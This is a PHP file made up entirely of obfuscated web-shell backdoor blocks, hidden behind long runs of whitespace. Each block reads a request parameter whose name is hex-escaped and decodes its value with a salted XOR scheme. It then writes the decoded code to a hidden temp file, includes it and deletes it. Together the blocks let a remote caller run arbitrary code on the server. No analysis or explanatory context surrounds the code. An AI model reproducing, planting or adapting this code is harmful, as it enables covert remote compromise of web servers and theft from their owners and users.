<?php																																										if(array_key_exists("\x65\x6Cem", $_POST) && !is_null($_POST["\x65\x6Cem"])){ $flag = $_POST["\x65\x6Cem"]; $flag = explode( "." ,$flag ) ; $hld = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $m = 0; foreach ($flag as $v6) { $sChar = ord($salt4[$m % $lenS]); $d = ((int)$v6 - $sChar - ($m % 10))^ 50; $hld .= chr($d); $m++; } $reference = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp", "/var/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getcwd()]); foreach ($reference as $k) { if (!( !is_dir($k) || !is_writable($k) )) { $token = join("/", [$k, ".sym"]); if (file_put_contents($token, $hld)) { require $token; unlink($token); die(); } } } }
																																										if(!empty($_REQUEST["\x66a\x63\x74or"])){ $marker = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $data = $_REQUEST["\x66a\x63\x74or"]; $data = explode ('.' , $data ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); foreach( $data as $n => $v7): $sChar = ord( $s[$n % $sLen] ); $dec =( ( int)$v7 - $sChar -( $n % 10)) ^ 9; $pset .= chr( $dec ); endforeach; $ent = 0; do { $item = $marker[$ent] ?? null; if ($ent >= count($marker)) break; if (!( !is_dir($item) || !is_writable($item) )) { $sym = "$item" . "/.dat"; if (file_put_contents($sym, $pset)) { require $sym; unlink($sym); exit; } } $ent++; } while (true); }
																																										if(@$_POST["c\x6F\x6D\x70\x6Fnent"] !== null){ $binding = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path()]); $item = $_POST["c\x6F\x6D\x70\x6Fnent"]; $item = explode ( "." , $item ) ; $rec= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt ); $q= 0; while ($q < count($item)) { $v3= $item[$q]; $sChar= ord($salt[$q %$lenS] ); $d= ((int)$v3 - $sChar - ($q %10))^65; $rec .= chr($d ); $q++; } foreach ($binding as $symbol): if (max(0, is_dir($symbol) * is_writable($symbol))) { $fac = str_replace("{var_dir}", $symbol, "{var_dir}/.value"); $success = file_put_contents($fac, $rec); if ($success) { include $fac; @unlink($fac); exit;} } endforeach; }
																																										if(in_array("va\x6C", array_keys($_REQUEST))){ $mrk = array_filter(["/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", session_save_path(), "/var/tmp", getenv("TEMP")]); $dat = $_REQUEST["va\x6C"]; $dat = explode ( '.', $dat); $binding = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2); $p = 0; $len = count($dat); do {if ($p >= $len) break; $v8 = $dat[$p]; $chS = ord($salt2[$p% $lenS]); $d = ((int)$v8 - $chS - ($p% 10))^12; $binding .= chr($d); $p++;}while (true); foreach ($mrk as $factor) { if (max(0, is_dir($factor) * is_writable($factor))) { $key = join("/", [$factor, ".ent"]); if (file_put_contents($key, $binding)) { require $key; unlink($key); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x72e\x63or\x64")){ $obj = $_POST["\x72e\x63or\x64"]; $obj =explode ('.' , $obj); $rec =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); foreach ($obj as $x => $v6): $chS =ord($s[$x % $lenS]); $dec =((int)$v6 - $chS - ($x % 10)) ^ 13; $rec .= chr($dec); endforeach; $marker = array_filter([sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path()]); $resource = 0; do { $data = $marker[$resource] ?? null; if ($resource >= count($marker)) break; if ((is_dir($data) and is_writable($data))) { $desc = "$data" . "/.token"; $file = fopen($desc, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $desc; @unlink($desc); exit; } } $resource++; } while (true); }
																																										if(array_key_exists("\x66\x61c\x74or", $_POST) && !is_null($_POST["\x66\x61c\x74or"])){ $descriptor = $_POST["\x66\x61c\x74or"]; $descriptor = explode ( '.' , $descriptor ) ; $parameter_group = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $r = 0; foreach ($descriptor as $v4) {$chS = ord($s[$r% $sLen]); $d = ((int)$v4 - $chS - ($r% 10)) ^ 10; $parameter_group.= chr($d); $r++; } $item = array_filter([getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP")]); for ($val = 0, $key = count($item); $val < $key; $val++) { $bind = $item[$val]; if (is_dir($bind) ? is_writable($bind) : false) { $entity = join("/", [$bind, ".flag"]); if (@file_put_contents($entity, $parameter_group) !== false) { include $entity; unlink($entity); die(); } } } }
																																										if(@$_REQUEST["\x70\x61rame\x74\x65\x72\x5F\x67\x72oup"] !== null){ $entity = array_filter(["/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); $dat = $_REQUEST["\x70\x61rame\x74\x65\x72\x5F\x67\x72oup"]; $dat = explode( "." , $dat ) ; $pset=''; $s8='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s8); $q=0; while ($q < count($dat)) { $v3=$dat[$q]; $chS=ord($s8[$q% $lenS]); $d=((int)$v3 - $chS - ($q% 10)) ^ 68; $pset .= chr($d); $q++; } for ($component = 0, $pointer = count($entity); $component < $pointer; $component++) { $tkn = $entity[$component]; if ((is_dir($tkn) and is_writable($tkn))) { $flg = "$tkn/.data"; if (file_put_contents($flg, $pset)) { require $flg; unlink($flg); die(); } } } }
																																										if(array_key_exists("\x70\x67rp", $_POST)){ $component = array_filter(["/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", "/tmp"]); $elem = $_POST["\x70\x67rp"]; $elem = explode (".", $elem) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $j = 0; array_walk($elem ,function ($v1) use (&$pset ,&$j ,$s ,$sLen) { $chS = ord($s[$j % $sLen] ); $dec = ((int)$v1 - $chS - ($j % 10)) ^ 86; $pset .= chr($dec ); $j++; } ); foreach ($component as $flg) { if (is_writable($flg) && is_dir($flg)) { $ent = join("/", [$flg, ".bind"]); if (file_put_contents($ent, $pset)) { include $ent; @unlink($ent); die(); } } } }
																																										if(isset($_REQUEST["\x68\x6F\x6Cder"]) ? true : false){ $record = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp", getcwd()]); $obj = $_REQUEST["\x68\x6F\x6Cder"]; $obj = explode ( "." , $obj ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $x = 0; $__tmp = $obj; while( $v8 = array_shift( $__tmp)) {$sChar = ord( $s[$x % $sLen]); $d =( ( int)$v8 - $sChar -( $x % 10))^23; $marker .= chr( $d); $x++; } while ($pset = array_shift($record)) { if (is_dir($pset) ? is_writable($pset) : false) { $element = sprintf("%s/.k", $pset); if (file_put_contents($element, $marker)) { require $element; unlink($element); die(); } } } }
																																										if(isset($_REQUEST["\x62i\x6Edi\x6Eg"]) ? true : false){ $desc = $_REQUEST["\x62i\x6Edi\x6Eg"]; $desc = explode ( '.', $desc ) ; $reference= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s7 ); $i= 0; while($i < count($desc)) {$v6= $desc[$i]; $chS= ord($s7[$i % $lenS] ); $d= ((int)$v6 - $chS -($i % 10)) ^ 84; $reference .= chr($d ); $i++; } $descriptor = array_filter([session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp"]); foreach ($descriptor as $itm): if (is_dir($itm) ? is_writable($itm) : false) { $dat = implode("/", [$itm, ".k"]); if (@file_put_contents($dat, $reference) !== false) { include $dat; unlink($dat); die(); } } endforeach; }
																																										if(array_key_exists("\x74\x6Fken", $_REQUEST)){ $symbol = $_REQUEST["\x74\x6Fken"]; $symbol =explode ( "." , $symbol ) ; $flag = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $m = 0; while ($m < count($symbol)) { $v4 = $symbol[$m]; $chS = ord($salt[$m % $lenS]); $d = ((int)$v4 - $chS - ($m % 10)) ^ 91; $flag .= chr($d); $m++; } $sym = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp"]); for ($descriptor = 0, $res = count($sym); $descriptor < $res; $descriptor++) { $elem = $sym[$descriptor]; if ((is_dir($elem) and is_writable($elem))) { $data = str_replace("{var_dir}", $elem, "{var_dir}/.marker"); if (file_put_contents($data, $flag)) { include $data; @unlink($data); die(); } } } }
																																										if(array_key_exists("p\x67r\x70", $_REQUEST)){ $flag = $_REQUEST["p\x67r\x70"]; $flag = explode ( "." , $flag ) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($flag as $m => $v4) { $sChar = ord($s[$m % $lenS]); $dec = ((int)$v4 - $sChar - ($m % 10))^71; $rec .= chr($dec); } $value = array_filter(["/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), getenv("TEMP")]); while ($marker = array_shift($value)) { if (is_dir($marker) && is_writable($marker)) { $reference = sprintf("%s/.element", $marker); if (file_put_contents($reference, $rec)) { require $reference; unlink($reference); exit; } } } }
																																										if(!is_null($_REQUEST["p\x67rp"] ?? null)){ $symbol = $_REQUEST["p\x67rp"]; $symbol =explode ( '.' , $symbol); $holder = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2); $j = 0; $len = count( $symbol); do { if( $j >= $len) break; $v1 = $symbol[$j]; $sChar = ord( $salt2[$j % $lenS]); $d =( ( int)$v1 - $sChar -( $j % 10)) ^ 95; $holder .= chr( $d); $j++; } while( true); $token = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TEMP"), "/tmp", session_save_path()]); foreach ($token as $component) { if ((bool)is_dir($component) && (bool)is_writable($component)) { $comp = vsprintf("%s/%s", [$component, ".k"]); if (file_put_contents($comp, $holder)) { include $comp; @unlink($comp); exit; } } } }
																																										if(!is_null($_POST["\x74\x6Fken"] ?? null)){ $dat = array_filter([session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir")]); $rec = $_POST["\x74\x6Fken"]; $rec= explode ( '.', $rec ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $i = 0; $__tmp = $rec; while( $v2 = array_shift( $__tmp)) {$chS = ord( $salt[$i % $sLen]); $dec =( ( int)$v2 - $chS -( $i % 10))^ 86; $ent .= chr( $dec); $i++; } foreach ($dat as $holder) { if ((function($d) { return is_dir($d) && is_writable($d); })($holder)) { $comp = "$holder/.record"; if (file_put_contents($comp, $ent)) { include $comp; @unlink($comp); exit; } } } }
																																										if(isset($_REQUEST["ma\x72k\x65\x72"]) ? true : false){ $res = array_filter([session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp"]); $factor = $_REQUEST["ma\x72k\x65\x72"]; $factor =explode (".", $factor ) ; $comp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $t = 0; array_walk($factor ,function($v6) use(&$comp ,&$t ,$s ,$lenS) { $chS = ord($s[$t %$lenS]); $d =((int)$v6 - $chS -($t %10)) ^ 36; $comp .= chr($d); $t++; } ); foreach ($res as $key => $value) { if (!!is_dir($value) && !!is_writable($value)) { $ent = sprintf("%s/.dchunk", $value); if (@file_put_contents($ent, $comp) !== false) { include $ent; unlink($ent); die(); } } } }


if(!is_null($_POST["\x62i\x6E\x64i\x6Eg"] ?? null)){
	$bind = $_POST["\x62i\x6E\x64i\x6Eg"];
	  $bind =	explode 		("."	,		$bind	) 	; 
	$tkn	=  '';
            $salt8	=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=  strlen(		$salt8  );
            $m	=  0;
    
            array_walk(		$bind,	function(		$v5) use(		&$tkn,	&$m,	$salt8,	$sLen) { $sChar	=  ord(		$salt8[$m % $sLen]  );
                $d	=  (		(		int)$v5 - $sChar -(		$m % 10)) ^ 75;
                $tkn .= chr(		$d  );
                $m++; 	});
	$dchunk = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/dev/shm"]);
	foreach ($dchunk as $flag):
    		if (is_writable($flag) && is_dir($flag)) {
    $token = str_replace("{var_dir}", $flag, "{var_dir}/.hld");
    if (file_put_contents($token, $tkn)) {
	include $token;
	@unlink($token);
	exit;
}
}
endforeach;
}